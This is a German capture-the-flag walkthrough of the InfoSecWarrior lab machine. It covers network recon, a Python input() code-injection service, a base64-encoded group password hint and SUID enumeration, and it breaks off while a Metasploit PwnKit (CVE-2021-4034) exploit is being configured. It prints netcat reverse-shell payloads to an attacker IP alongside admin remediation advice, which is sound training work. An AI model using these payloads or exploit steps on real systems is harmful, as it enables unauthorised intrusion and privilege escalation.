Die initiale Phase dient der Identifizierung des Ziels im Netzwerk und der Erkundung offener Ports und Dienste.
192.168.2.125 08:00:27:0b:99:fd PCS Systemtechnik GmbH
**Analyse:** Der `arp-scan -l` Befehl identifiziert erfolgreich einen aktiven Host im lokalen Netzwerk unter der IP-Adresse `192.168.2.125`. Die MAC-Adresse und der Hersteller deuten auf eine VirtualBox-Umgebung hin.
**Bewertung:** Das Zielsystem wurde gefunden. Diese IP wird für weitere Scans verwendet.
**Empfehlung (Pentester):** Führen Sie einen Portscan (Nmap) auf `192.168.2.125` durch. Tragen Sie die IP mit einem passenden Hostnamen in die `/etc/hosts`-Datei ein.
**Empfehlung (Admin):** Netzwerk-Monitoring und Segmentierung können die Erkennung und Eindämmung solcher Scans unterstützen.
192.168.2.125 infosecwarrior.vln
**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um die IP `192.168.2.125` dem Hostnamen `infosecwarrior.vln` zuzuordnen. Dieser Hostname wurde wahrscheinlich durch den Nmap-Scan ermittelt.
**Bewertung:** Eine sinnvolle Maßnahme, um das Zielsystem über einen Namen ansprechen zu können.
**Empfehlung (Pentester):** Verwenden Sie `infosecwarrior.vln` in den weiteren Schritten.
**Empfehlung (Admin):** Sicherstellung einer korrekten Namensauflösung auf Serverseite.
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 56563/tcp open unknown
**Analyse:** Ein Nmap-Scan aller TCP-Ports (`-p-`) mit verschiedenen Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`) wird durchgeführt. Die gefilterte Ausgabe (`grep open`) zeigt zwei offene Ports: * Port 22 (SSH): OpenSSH 7.6p1 auf Ubuntu. * Port 56563: Ein unbekannter Dienst (`unknown`) auf einem hohen Port.
**Bewertung:** Die Angriffsfläche besteht aus dem Standard-SSH-Port und einem ungewöhnlichen, nicht identifizierten Dienst auf Port 56563. Dieser hohe Port ist sofort verdächtig und erfordert genauere Untersuchung. Die SSH-Version 7.6p1 ist nicht brandaktuell, aber auch nicht extrem alt.
**Empfehlung (Pentester):**
1. Untersuchen Sie den Dienst auf Port 56563 intensiv (z.B. mit `nc`, Telnet, Nmap-Skripten, manueller Interaktion).
2. Behalten Sie SSH als potenzielles Ziel für gefundene Zugangsdaten.
3. Führen Sie den Nmap-Scan ohne `grep` aus, um mehr Details zu erhalten.
**Empfehlung (Admin):**
1. Identifizieren und dokumentieren Sie alle laufenden Dienste, insbesondere auf nicht standardmäßigen Ports. Schließen Sie unnötige Ports.
2. Sichern Sie den SSH-Dienst (aktuelle Version, starke Authentifizierung).
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 22:39 CEST Nmap scan report for infosecwarrior.vln (192.168.2.125) Host is up (0.00015s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 89f21b40c40c3c7939739dfcccab2b0a (RSA) | 256 05dbcf2990f6e43f4f74c9d257816eff (ECDSA) |_ 256 9a7df5dd9051b2eb3c33369f250e8c21 (ED25519) 56563/tcp open unknown | fingerprint-strings: | GenericLines: | Welcome to | ____ __ __ _ | ___/ ___| ___ __\x20\x20 / /_ _ _ __ _ __(_) ___ _ __ | \x20/ _ / __\x20\x20/\x20/ / _` | '__| '__| |/ _ \| '__| | |__) | __/ (__ \x20V V / (_| | | | | | | (_) | | | |___|_| |_|_| ___/____/ ___|___| _/_/ __,_|_| |_| |_|___/|_| | Please input number of ping packet you want to send??: Traceback (most recent call last): | File "./script.py", line 18, in| int(input(' Please input number of ping packet you want to send??: ')) | File " ", line 0 | SyntaxError: unexpected EF while parsing | NULL: | Welcome to | ____ __ __ _ | ___/ ___| ___ __\x20\x20 / /_ _ _ __ _ __(_) ___ _ __ | \x20/ _ / __\x20\x20/\x20/ / _` | '__| '__| |/ _ \| '__| | |__) | __/ (__ \x20V V / (_| | | | | | | (_) | | | |___|_| |_|_| ___/____/ ___|___| _/_/ __,_|_| |_| |_|___/|_| |_ Please input number of ping packet you want to send??: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port56563-TCP:V=7.93%I=7%D=7/11%Time=64ADBDF8%P=x86_64-pc-linux-gnu%r MAC Address: 08:00:27:0B:99:FD (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.15 ms infosecwarrior.vln (192.168.2.125)
**Analyse:** Die vollständige Nmap-Ausgabe liefert wichtige Details zum unbekannten Dienst auf Port 56563: * **SSH (Port 22):** Bestätigt OpenSSH 7.6p1 auf Ubuntu. Zeigt moderne Hostkeys (RSA, ECDSA, ED25519). * **Unbekannter Dienst (Port 56563):** Nmap konnte den Dienst nicht identifizieren, aber das Skript `fingerprint-strings` hat Daten erfasst: * Ein ASCII-Art-Banner "Welcome to..." wird gesendet. * Es folgt die Eingabeaufforderung: "Please input number of ping packet you want to send??:". * Wenn Nmap (oder der Benutzer) nichts eingibt (NULL-Probe), erscheint dieselbe Aufforderung. * Wenn Nmap ungültige Daten sendet (GenericLines-Probe), führt dies zu einem Python-Traceback (`SyntaxError: unexpected EOF while parsing`) in einem Skript namens `./script.py`, Zeile 18. Die Zeile versucht, die Benutzereingabe mit `int(input(...))` zu lesen. * **OS:** Wird als Linux (Kernel 4.15 - 5.6) identifiziert.
**Bewertung:** Der Dienst auf Port 56563 ist ein benutzerdefiniertes Python-Skript (`script.py`), das eine Zahl als Eingabe erwartet, um vermutlich eine entsprechende Anzahl von Pings auszuführen. Der Traceback verrät Details über die Implementierung (`input()` in Python) und den Dateinamen. Die `input()`-Funktion in Python 2 (wahrscheinlich hier verwendet, da `input()` in Python 3 anders funktioniert und keinen `SyntaxError` bei EOF werfen würde) wertet die Eingabe als Python-Code aus, was eine **massive Schwachstelle** für Code Injection darstellt. In Python 3 ist `input()` sicherer, aber die Art des Fehlers legt Python 2 oder eine unsichere Verwendung von `eval(input())` in Python 3 nahe.
**Empfehlung (Pentester):**
1. Interagieren Sie manuell mit Port 56563 mittels `nc`.
2. Versuchen Sie, Python-Code anstelle einer Zahl einzugeben, um die Code-Injection-Schwachstelle auszunutzen (z.B. `__import__('os').system('id')`).
3. Nutzen Sie die Code Injection, um eine Reverse Shell zu erhalten.
**Empfehlung (Admin):**
1. Überprüfen Sie das Skript auf Port 56563 *dringend*. Ersetzen Sie die unsichere `input()`-Funktion (Python 2) oder `eval(input())` (Python 3) durch sichere Methoden zur Eingabeverarbeitung (z.B. `raw_input()` in Python 2 oder `input()` in Python 3 ohne `eval()`, gefolgt von expliziter Typumwandlung und Validierung).
2. Deaktivieren Sie diesen Dienst, wenn er nicht benötigt wird. Sichern Sie ihn ordnungsgemäß ab (Authentifizierung, Eingabevalidierung).
Basierend auf den Nmap-Ergebnissen interagieren wir nun manuell mit dem benutzerdefinierten Dienst auf Port 56563, um dessen Verhalten zu verstehen und die vermutete Code-Injection-Schwachstelle zu testen.
Welcome to ___ __ ____ __ __ _ |_ _|_ __ / _| ___/ ___| ___ __\ \ / /_ _ _ __ _ __(_) ___ _ __ | || '_ \| |_ / _ \___ \ / _ \/ __\ \ /\ / / _` | '__| '__| |/ _ \| '__| | || | | | _| (_) |__) | __/ (__ \ V V / (_| | | | | | | (_) | | |___|_| |_|_| \___/____/ \___|\___| \_/\_/ \__,_|_| |_| |_|\___/|_| Please input number of ping packet you want to send??: 5 ping target (CTF.InfoSecWarrior)... 64 bytes from 127.0.0.1: icmp_seq=1 ttl=31337 time=0.089 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=31337 time=0.047 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=31337 time=0.029 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=31337 time=0.099 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=31337 time=0.066 ms
**Analyse:** Eine Verbindung wird mit Netcat (`nc`) zum Port 56563 hergestellt. Das Skript gibt das Banner und die Eingabeaufforderung aus. Der Pentester gibt die Zahl `5` ein. Das Skript führt daraufhin 5 Ping-Anfragen an `CTF.InfoSecWarrior` (was vermutlich zu `127.0.0.1` aufgelöst wird) aus und zeigt die Ergebnisse an.
**Bewertung:** Dies bestätigt die grundlegende Funktionalität des Skripts und dass es Benutzereingaben entgegennimmt und darauf basierend Aktionen (Ping) ausführt. Die Verwendung von `input()` (Python 2) oder `eval(input())` (Python 3) wird durch die Fehlermeldungen im Nmap-Scan nahegelegt.
**Empfehlung (Pentester):** Testen Sie die Code Injection, indem Sie Python-Code statt einer Zahl eingeben.
**Empfehlung (Admin):** Beheben Sie die unsichere Eingabeverarbeitung im Skript.
The authenticity of host '192.168.2.125 (192.168.2.125)' can't be established. ED25519 key fingerprint is SHA256:1ZRKwkYqKUIbnD6szqzCNxwimK6Qi1HbDH7ze1nhWE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.125' (ED25519) to the list of known hosts. (-(-_(-_-)_-)-) (-(-_(-_-)_-)-) (-(-_(-_-)_-)-) ▄██████▄ Do this and I will give you a Hint █▀▀▀██▀▀▀▄ █▄▄▄██▄▄▄█ Laugh uncontrollably for about 3 minutes ▀█████████ then suddenly stop and look suspiciously ▀███▄███▀ at everyone who looks at you. ▀████▀ r ▄████████▄ Enumerate Hostname and Distro's codename of this box ████████████ And try to get Secure SHell (-(-_(-_-)_-)-) (-(-_(-_-)_-)-) (-(-_(-_-)_-)-) PS: For Newbie refer this website to know more : google.co.in
**Analyse:** Der Pentester versucht eine SSH-Verbindung als `root`. Nach Bestätigung des Hostkeys wird ein ungewöhnliches SSH-Banner angezeigt, das keine Passwortabfrage enthält, sondern eine Art Rätsel oder Hinweis: Man soll den Hostnamen und den Codenamen der Distribution herausfinden, um SSH-Zugriff zu bekommen.
**Bewertung:** Der direkte Root-Login per SSH ist nicht möglich oder erfordert die Lösung dieses Rätsels. Der Hostname ist `infosecwarrior.vln` (oder `ck04` laut späterem Prompt). Der Codename der Ubuntu-Distribution (basierend auf SSH-Version) könnte 'bionic' (18.04) oder 'focal' (20.04) sein, basierend auf OpenSSH 7.6p1. Es ist unklar, wie diese Information für den SSH-Zugriff genutzt werden soll. Dies scheint eher ein ablenkender Hinweis als ein direkter Angriffsvektor zu sein.
**Empfehlung (Pentester):** Ignorieren Sie diesen SSH-Hinweis vorerst und konzentrieren Sie sich auf die vielversprechendere Code-Injection-Schwachstelle auf Port 56563.
**Empfehlung (Admin):** Konfigurieren Sie SSH sicher. Deaktivieren Sie Root-Login (`PermitRootLogin no`). Verwenden Sie informative, aber keine potenziell sicherheitsrelevanten oder rätselhaften Banner.
Wir testen nun gezielt die vermutete Code-Injection-Schwachstelle im Python-Skript auf Port 56563, indem wir versuchen, Python-Code statt einer Zahl einzugeben.
Welcome to [...] Please input number of ping packet you want to send??: 5&nc -e /bin/bash 192.168.2.125^[[D^[[ Traceback (most recent call last): File "./script.py", line 18, innum = int(input(' Please input number of ping packet you want to send??: ')) File " ", line 1 5&nc -e /bin/bash 1 ^ SyntaxError: unexpected EOF while parsing
**Analyse:** Der Pentester gibt `5&nc -e /bin/bash 192.168.2.125` (plus Steuerzeichen `^[[D^[[`) ein. Dies ist ein Versuch, Shell Command Injection nach einer gültigen Zahl (`5`) durchzuführen, indem ein Netcat-Reverse-Shell-Befehl angehängt wird. Das Skript wirft jedoch einen `SyntaxError: unexpected EOF while parsing`, weil es versucht, die gesamte Eingabe als Python-Code mittels `input()` (Python 2) oder `eval(input())` (Python 3) auszuwerten und `5&nc...` kein gültiger Python-Ausdruck ist.
**Bewertung:** Dies bestätigt, dass die Eingabe als Code interpretiert wird und nicht als einfache Zeichenkette für einen Shell-Befehl. Standard Shell Command Injection funktioniert hier nicht. Es muss gültiger Python-Code eingegeben werden.
**Empfehlung (Pentester):** Geben Sie gültigen Python-Code ein, der Systembefehle ausführt, z.B. unter Verwendung des `os`-Moduls.
**Empfehlung (Admin):** Beheben Sie die unsichere `input()`/`eval()`-Verwendung im Skript.
Welcome to [...] Please input number of ping packet you want to send??: os.system("ls") Traceback (most recent call last): File "./script.py", line 18, innum = int(input(' Please input number of ping packet you want to send??: ')) File " ", line 1, in NameError: name 'os' is not defined
**Analyse:** Der Pentester gibt nun Python-Code ein: `os.system("ls")`. Das Skript wirft einen `NameError: name 'os' is not defined`.
**Bewertung:** Der `NameError` zeigt, dass das `os`-Modul im Skript nicht standardmäßig importiert ist. Wir können also nicht direkt `os.system()` aufrufen.
**Empfehlung (Pentester):** Importieren Sie das `os`-Modul dynamisch innerhalb der Eingabe, bevor Sie `os.system()` verwenden. Der Ausdruck `__import__('os').system('befehl')` ist eine gängige Methode dafür.
**Empfehlung (Admin):** Beheben Sie die unsichere Eingabeverarbeitung. Selbst wenn Module nicht standardmäßig importiert sind, ermöglicht die Schwachstelle deren dynamischen Import.
------------------------------------------------------------------------------------------------------ ssti attacke __import__('os').system('nc -e /bin/bash 192.168.2.105 4444') __import__('os').system('nc -e /bin/bash 192.168.2.105 4444') | python script.py ------------------------------------------------------------------------------------------------------
**Analyse:** Diese Notiz zeigt die korrekte Payload zur Ausnutzung der Python Code Injection (fälschlicherweise als SSTI bezeichnet, obwohl es direkte Code-Auswertung ist). Die Payload `__import__('os').system('nc -e /bin/bash [IP] [PORT]')` importiert dynamisch das `os`-Modul und führt dann `os.system()` aus, um eine Netcat-Reverse-Shell zu starten. Die zweite Zeile scheint ein fehlgeschlagener Versuch oder eine alternative Idee zu sein, die Payload über eine Pipe an das Skript zu senden.
**Bewertung:** Die korrekte Payload zur Ausnutzung der Code Injection wurde identifiziert.
**Empfehlung (Pentester):** Starten Sie einen Netcat-Listener und geben Sie die Payload `__import__('os').system('nc -e /bin/bash [IHRE_IP] [IHR_PORT]')` am Prompt des Dienstes auf Port 56563 ein.
**Empfehlung (Admin):** Beheben Sie die Schwachstelle.
Welcome to [...] Please input number of ping packet you want to send??: echo "__import__('os').system('nc -e /bin/bash 192.168.2.105 4444')" | python script.py Traceback (most recent call last): File "./script.py", line 18, innum = int(input(' Please input number of ping packet you want to send??: ')) File " ", line 1 echo "__import__('os').system('nc -e /bin/bash 192.168.2.105 4444')" | python script.py ^ SyntaxError: invalid syntax
**Analyse:** Ein weiterer fehlgeschlagener Versuch. Der Pentester gibt einen Shell-Befehl (`echo "..." | python script.py`) in den Python-`input()`-Prompt ein. Dies führt erwartungsgemäß zu einem `SyntaxError`, da es kein gültiger Python-Code ist.
**Bewertung:** Bestätigt erneut, dass direkt Python-Code eingegeben werden muss, keine Shell-Befehle.
**Empfehlung (Pentester):** Geben Sie die reine Python-Payload `__import__('os').system(...)` ein.
**Empfehlung (Admin):** Beheben Sie die Schwachstelle.
Nachdem die Python Code Injection Schwachstelle analysiert wurde, nutzen wir sie nun, um eine Shell auf dem System zu erhalten. Anstatt einer Reverse Shell wird hier direkt `/bin/bash` gestartet.
Welcome to [...] Please input number of ping packet you want to send??: __import__('os').system('/bin/bash') bash: cannot set terminal process group (1417): Inappropriate ioctl for device bash: no job control in this shell bla1@ck04$
**Analyse:** Der Pentester gibt die korrekte Python-Payload ein: `__import__('os').system('/bin/bash')`. * `__import__('os')`: Importiert das `os`-Modul. * `.system('/bin/bash')`: Führt den Befehl `/bin/bash` aus. Da die Eingabe des Benutzers innerhalb des laufenden Python-Skripts ausgewertet wird, startet dieser Befehl eine neue Bash-Shell als Kindprozess dieses Skripts. Die Standardein- und -ausgabe der neuen Shell sind immer noch mit der Netcat-Verbindung verbunden. Das Skript (`script.py`) lief wahrscheinlich als Benutzer `bla1` (basierend auf dem Shell-Prompt). Die Bash-Fehlermeldungen sind typisch für eine nicht-interaktive Shell über `nc`. Der Pentester erhält eine Shell-Eingabeaufforderung `bla1@ck04$`.
**Bewertung:** Initial Access erfolgreich! Eine interaktive Shell als Benutzer `bla1` wurde durch Ausnutzung der Python Code Injection Schwachstelle erlangt.
**Empfehlung (Pentester):** Führen Sie lokale Enumeration als `bla1` durch. Verbessern Sie die Shell ggf. zu einer vollen TTY.
**Empfehlung (Admin):** Beheben Sie die Code Injection Schwachstelle *dringend*.
Die erfolgreiche Ausführung von `__import__('os').system('/bin/bash')` über die Netcat-Verbindung zum benutzerdefinierten Dienst auf Port 56563 hat uns eine interaktive Shell als Benutzer `bla1` verschafft.
uid=1001(bla1) gid=1001(bla1) groups=1001(bla1)
**Analyse:** Der `id`-Befehl bestätigt, dass die Shell als Benutzer `bla1` (UID/GID 1001) läuft. Der Hostname scheint `ck04` zu sein.
**Bewertung:** Bestätigt den Benutzerkontext.
**Empfehlung (Pentester):** Beginnen Sie mit der lokalen Enumeration.
**Empfehlung (Admin):** Keine spezifische Empfehlung.
Als Benutzer `bla1` untersuchen wir das System weiter auf Hinweise und mögliche Privilegieneskalationsvektoren.
sudo: no tty present and no askpass program specified
**Analyse:** Der Versuch, `sudo -l` auszuführen, scheitert mit der Meldung "sudo: no tty present and no askpass program specified".
**Bewertung:** Diese Fehlermeldung tritt auf, wenn `sudo` ein Passwort erfordern würde, aber keine interaktive TTY (Terminal) verfügbar ist, um es abzufragen. Dies bedeutet nicht zwangsläufig, dass `bla1` keine `sudo`-Rechte hat, sondern nur, dass wir sie aus dieser einfachen Shell nicht überprüfen können, wenn ein Passwort benötigt wird. Es könnte aber auch sein, dass `bla1` keine `sudo`-Rechte hat.
**Empfehlung (Pentester):** Werten Sie die Shell zu einer vollen TTY auf und versuchen Sie `sudo -l` erneut. Suchen Sie nach anderen Eskalationsvektoren (SUID, Capabilities, Cronjobs etc.).
**Empfehlung (Admin):** Konfigurieren Sie `sudo` sicher (`requiretty` kann eine zusätzliche Hürde sein, aber auch legitime Skripte stören).
total 24 drwxr-x--- 3 bla1 bla1 4096 Feb 14 2020 . drwxr-xr-x 6 root root 4096 Jan 28 2020 .. lrwxrwxrwx 1 root root 9 Jan 27 2020 .bash_history -> /dev/null -rw-r--r-- 1 root root 55 Feb 12 2020 bla2-note -rw-r--r-- 1 root root 0 Feb 13 2020 .hushlogin drwxrwxr-x 3 bla1 bla2 4096 Feb 14 2020 .local -rwxr-xr-x 1 bla1 bla1 87 Jan 27 2020 run.sh -rwxr-xr-x 1 bla1 bla1 819 Feb 13 2020 script.py
My group password is czNjcjN0 I encoded my gpasswd :-P
**Analyse:** Ein `ls -la` im Home-Verzeichnis von `bla1` (vermutlich `/home/bla1`) zeigt: * `.bash_history` ist ein Symlink zu `/dev/null` (verhindert History-Logging). * Eine Datei `bla2-note`, die `root` gehört, aber für `bla1` lesbar ist. * Ein Verzeichnis `.local`, das der Gruppe `bla2` gehört. * Ein Shell-Skript `run.sh`. * Ein Python-Skript `script.py` (wahrscheinlich das auf Port 56563 laufende Skript). Der Inhalt von `bla2-note` enthält einen Hinweis: "My group password is czNjcjN0 I encoded my gpasswd :-P". `czNjcjN0` ist Base64-kodiert für "s3cr3t". Dies ist vermutlich das Passwort für die Gruppe `bla2`.
**Bewertung:** Der Hinweis auf das Gruppenpasswort "s3cr3t" für die Gruppe `bla2` ist potenziell nützlich, wenn wir Mitglied dieser Gruppe werden können oder wenn Dateien existieren, auf die nur diese Gruppe Zugriff hat. Die Skripte `run.sh` und `script.py` sollten ebenfalls untersucht werden.
**Empfehlung (Pentester):**
1. Versuchen Sie, mit `sg bla2` und dem Passwort "s3cr3t" zur Gruppe `bla2` zu wechseln, um zu sehen, ob dies zusätzliche Rechte bringt.
2. Untersuchen Sie den Inhalt und die Berechtigungen von `run.sh` und `script.py`.
3. Führen Sie weitere Enumeration durch (SUID etc.).
**Empfehlung (Admin):**
1. Speichern Sie keine Passwörter (auch nicht kodiert) in Klartextdateien.
2. Überprüfen Sie die Notwendigkeit und Sicherheit von Gruppenpasswörtern (sie sind oft ein Sicherheitsrisiko).
3. Verhindern Sie das Leiten der `.bash_history` nach `/dev/null` in Sicherheitsrichtlinien.
total 12 drwxr-xr-x 2 root root 4096 Jan 28 2020 . drwxr-xr-x 25 root root 4096 Jul 12 02:08 .. -rw-r----- 1 ck04 ck04 2505 Jan 28 2020 note.txt
cat: note.txt: Permission denied
**Analyse:** Der Pentester wechselt nach `/opt` und findet eine `note.txt`, die dem Benutzer und der Gruppe `ck04` gehört. Die Berechtigungen (`-rw-r-----`) erlauben nur dem Besitzer `ck04` und der Gruppe `ck04` das Lesen. Der Versuch von `bla1`, die Datei zu lesen, scheitert (`Permission denied`).
**Bewertung:** In `/opt` befindet sich eine Notiz, auf die `bla1` keinen Zugriff hat. Sie gehört einem anderen Benutzer `ck04`. Dies könnte ein Hinweis sein, falls später Zugriff als `ck04` erlangt wird.
**Empfehlung (Pentester):** Notieren Sie die Existenz von `/opt/note.txt` und die Berechtigungen. Fahren Sie mit der Enumeration fort.
**Empfehlung (Admin):** Stellen Sie sicher, dass Dateien in `/opt` korrekte Berechtigungen haben und nicht versehentlich für unbefugte Benutzer lesbar sind.
789261 4 -rwsr-xr-x 1 bla bla 70 Jan 28 2020 /home/ck04/shell 55 43 -rwsr-xr-x 1 root root 43088 Aug 23 2019 /snap/core18/1668/bin/mount 64 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/1668/bin/ping 80 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /snap/core18/1668/bin/su [...] // Standard SUIDs und Snap SUIDs wie zuvor 656193 60 -rwsr-xr-x 1 root root 59640 Mar 23 2019 /usr/bin/passwd 656299 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec [...] // Standard SUIDs 1048735 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /bin/su [...] // Standard SUIDs 1048707 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
**Analyse:** Die erneute Suche nach SUID-Dateien (`find / -type f -perm -4000 ...`) liefert einen neuen, sehr wichtigen Fund, der in der vorherigen Suche (falls als anderer Benutzer durchgeführt) möglicherweise nicht sichtbar war oder übersehen wurde: * `/home/ck04/shell`: Eine Datei namens `shell` im Home-Verzeichnis des Benutzers `ck04` hat das SUID-Bit gesetzt (`-rwsr-xr-x`) und gehört dem Benutzer `bla`. Die restlichen Funde sind wieder Standard-System- und Snap-Binaries.
**Bewertung:** Dies ist höchstwahrscheinlich der beabsichtigte Privilegieneskalationsvektor. Eine benutzerdefinierte SUID-Datei in einem Home-Verzeichnis ist extrem verdächtig. Wenn `bla1` diese Datei ausführen kann (was aufgrund von `r-x` für "others" wahrscheinlich ist), und wenn diese Datei unsicher implementiert ist (z.B. Befehle aufruft oder Umgebungsvariablen unsicher nutzt), kann sie wahrscheinlich zur Eskalation zu den Rechten des Besitzers (`bla`) oder potenziell zu Root missbraucht werden (obwohl sie hier `bla` gehört, nicht `root`). Da `bla` nicht weiter bekannt ist, könnte dies ein Zwischenschritt sein oder `bla` hat Root-Rechte.
**Empfehlung (Pentester):**
1. Untersuchen Sie die Datei `/home/ck04/shell` genauer:
* Führen Sie `file /home/ck04/shell` aus.
* Führen Sie `strings /home/ck04/shell` aus.
* Versuchen Sie, sie auszuführen (`/home/ck04/shell`).
* Analysieren Sie sie mit Reverse-Engineering-Tools, falls nötig.
2. Da der Exploit-Pfad im Log über Metasploit/PwnKit geht, wird dieser SUID-Pfad möglicherweise nicht weiter verfolgt, aber er ist ein valider alternativer Fund.
**Empfehlung (Admin):** Entfernen Sie die SUID-Datei `/home/ck04/shell` sofort. Platzieren Sie niemals SUID-Binaries in Home-Verzeichnissen. Überprüfen Sie das System gründlich auf weitere unsichere SUID/GUID-Dateien.
Obwohl eine potenziell ausnutzbare SUID-Datei (`/home/ck04/shell`) gefunden wurde, entscheidet sich der Pentester hier für einen anderen Weg und nutzt Metasploit, um die PwnKit-Schwachstelle (CVE-2021-4034) in `/usr/bin/pkexec` auszunutzen, welches ebenfalls in der SUID-Liste gefunden wurde. Zuerst wird die bestehende Shell zu einer Meterpreter-Session aufgewertet.
[*] Using configured payload generic/shell_reverse_tcp
Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command.
LHST => 192.168.2.105
LPRT => 5555
[*] Started reverse TCP handler on 192.168.2.105:5555
[*] Command shell session 1 opened (192.168.2.105:5555 -> 192.168.2.106:57930) at 2023-07-10 23:54:54 +0200 sh-4.2$
**Analyse:** Diese Blöcke scheinen eine Wiederholung oder eine alternative Methode zum Erhalt der initialen Shell darzustellen, diesmal explizit mit einer Python-Reverse-Shell zu einem Metasploit-Handler auf Port 5555. Der Benutzer im Prompt (`employee1@ html]`) passt jedoch nicht zum bisherigen Kontext (`bla1@ck04`). Es wird angenommen, dass dies immer noch die Shell als `bla1` ist und Session 1 in Metasploit repräsentiert.
**Bewertung:** Eine (erneute) Shell wurde etabliert und in Metasploit als Session 1 registriert. Dieser Schritt dient als Basis für die Aufwertung zu Meterpreter.
**Empfehlung (Pentester):** Fahren Sie mit der Aufwertung zu Meterpreter fort.
**Empfehlung (Admin):** Egress-Filtering und Prozessüberwachung können helfen, solche Verbindungen zu erkennen/blockieren.
session => 1
HANDLER => true
LHST => 192.168.2.105
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.105:4433 [*] Sending stage (1017704 bytes) to 192.168.2.125 [*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.125:44514) at 2023-07-11 23:28:01 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
**Analyse:** Das Modul `shell_to_meterpreter` wird verwendet, um Session 1 (die einfache Shell) zu einer Meterpreter-Session aufzuwerten. Es wird ein neuer Listener auf Port 4433 gestartet (`HANDLER true` und `LHOST` gesetzt, `LPORT` wird standardmäßig 4433 sein oder wurde zuvor gesetzt). Die Aufwertung ist erfolgreich, und Meterpreter-Session 2 wird geöffnet.
**Bewertung:** Die Shell wurde erfolgreich zu Meterpreter aufgewertet, was die Ausführung des Local Exploit Suggesters und des PwnKit-Exploits erleichtert.
**Empfehlung (Pentester):** Verwenden Sie Session 2 für die weitere Eskalation. Führen Sie den Local Exploit Suggester aus.
**Empfehlung (Admin):** IDS/IPS können versuchen, Meterpreter-Kommunikation zu erkennen.
session => 2
[*] 192.168.2.125 - Collecting local exploits for x86/linux... [*] 192.168.2.125 - 186 exploit checks are being tried... [+] 192.168.2.125 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable. ^C[-] 192.168.2.125 - Post interrupted by the console user [*] Post module execution completed
**Analyse:** Das Modul `local_exploit_suggester` wird auf Meterpreter-Session 2 ausgeführt. Es sammelt Informationen über das Zielsystem (Kernel, installierte Software) und vergleicht sie mit einer Datenbank bekannter lokaler Exploits. Der Suggester identifiziert `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` als potenziell funktionierenden Exploit und meldet, dass das Ziel anfällig ist. Der Scan wird vom Benutzer abgebrochen (`^C`), nachdem der PwnKit-Exploit gefunden wurde.
**Bewertung:** Der Local Exploit Suggester bestätigt die PwnKit-Anfälligkeit, die bereits durch die manuelle SUID-Suche (`pkexec`) vermutet wurde. Dies gibt hohe Sicherheit, dass der Exploit funktionieren wird.
**Empfehlung (Pentester):** Laden und konfigurieren Sie das PwnKit-Exploit-Modul und führen Sie es gegen Session 2 aus.
**Empfehlung (Admin):** Patchen Sie die PwnKit-Schwachstelle (CVE-2021-4034) durch Aktualisierung von `policykit-1`. Führen Sie regelmäßig Schwachstellen-Scans auf Ihren Systemen durch.
exploit: exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Privilege Escalation
**Analyse:** Organisatorische Notiz, die den ausgewählten Exploit und den Beginn der Eskalationsphase markiert.
**Bewertung:** Markiert den Übergang zur Ausführung des Exploits.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.
Wir führen nun den PwnKit-Exploit (CVE-2021-4034) über Metasploit aus, um die Schwachstelle in `pkexec` auszunutzen und eine Shell mit Root-Rechten zu erlangen.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.105 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command.
session => 2
lhost => 192.168.2.105
lport => 4444
